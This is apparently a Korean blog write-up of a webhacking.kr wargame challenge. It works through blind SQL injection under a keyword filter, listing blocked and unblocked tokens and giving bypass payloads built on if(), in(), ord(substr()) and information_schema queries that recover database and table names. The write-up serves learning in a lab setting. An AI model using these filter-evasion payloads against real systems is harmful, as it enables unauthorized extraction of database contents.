Always-Try(정보보안 및 일상)

webhacking.kr - Challenge(old) - 13번 (블라인드SQL인젝션, 숙제 있음) 본문

Pen Test

webhacking.kr - Challenge(old) - 13번 (블라인드SQL인젝션, 숙제 있음)

Always-Try 2021. 3. 3. 20:18

#1. 13번

1-1. 문제

1-2. 풀이

간만에 다시 SQL INJECTION이다.

1을 입력하면 1을 출력하고, 나머지 문자열을 입력하면 무조건 0을 출력한다.

그리고, SQL 인젝션을 시도해보면서 1차적으로 아래와 같은 문자열들이 필터링 되는 것을 확인했다. (or은 필터링 안됨)

 

필터링 안됨

'

or

%0a (공백)

%00 (주석)

()

select

 

필터링 됨

and

공백

=

#

--

&&

/

*

ascii

group_concat

where

 

블라인드 SQL 인젝션을 해야할 듯 한데, 2021/02/08 - [Pen Test] - webhacking.kr - Challenge(old) - 2번 - 블라인드 SQL 인젝션 와 다르게 select가 필터링 되니까 쿼리의 참, 거짓을 필터링하기 위한 다른 방법이 필요하다. 

무엇이 있을까?

 

아래 블로그에서 방법을 찾았다. mysql의 if 문을 사용하면 특정 쿼리의 참, 거짓에 대한 리턴값을 내가 원하는대로 설정할 수 있다. 본 문제에서는 참을 1, 거짓을 0으로 설정하면 될 것이다.

 

m.blog.naver.com/PostView.nhn?blogId=rorean&logNo=221594169204&proxyReferer=https:%2F%2Fwww.google.com%2F

 

[mysql] IF 문 사용하기

​​IF 사용법은 엑셀에서 IF 함수 사용하는 것과 동일하다. 엑셀이 친숙하다면 어렵지 않게 사용 가능...

blog.naver.com

blog.ch4n3.kr/139

 

sql injection =, like 필터링

IN 연산자 - H3X0R, s1ipper 팀 소속 ch4n3 - SQL Injection 문제에서 = (또는 다른 비교 연산자들)이 막혔거나, 'LIKE' 비교 연산자가 막혔다면, 우리는 IN 연산자를 사용할 수 있다. 다음과 같은 쿼리를 보자. s

blog.ch4n3.kr

 

if를 이용하여 먼저 database명의 길이를 찾아보자.

 

(0)or(if(length(database())in(1),1,0))

 

위 쿼리의 빨간색은 database 이름의 총 길이를 뜻한다.

파란색은 참일때의 리턴 값, 초록색은 거짓일때의 리턴 값을 의미한다.

따라서 위 쿼리는 database 이름이 1자리라면 참인 값인 1을 리턴하고 거짓이라면 0을 리턴한다.

숫자를 하나씩 증가하면서 진행하다보면 database의 이름이 7자리라는 것을 알 수 있다.

이제, 한자리씩 추출해보자. 이후부터는 파이썬 코드로 진행하는게 좋을 것 같다. 아마 2021/02/08 - [Pen Test] - webhacking.kr - Challenge(old) - 2번 - 블라인드 SQL 인젝션와 쿼리의 형태만 좀 달라질 것 같다.

 

database명의 앞글자부터 뽑아보자.

(0)or(if(ord(substr(database(),1,1))in(99),1,0)) 

 

테이블 길이를 알아보자. 

if((select(length(min(if((select(table_schema)in(데이터베이스이름)),table_name,null))))

from(information_schema.tables))in(테이블명길이),1,0)

 

테이블명의 앞글자부터 뽑아보자.

if((select(substr(min(if((select(table_schema)in(database())),table_name,null)),1,1))

from(information_schema.tables))in(문자(2진수표현)),1,0)

 

이런식으로 컬럼명, 값을 구하면 된다.

(k-owl.tistory.com/156 참고)

 

 

 

숙제)

블라인드 SQL 인젝션 기본 쿼리부터 응용(필터링 우회 SQL 인젝션)에 대해서 정리할 필요가 있을 것 같다.

 

 

Comments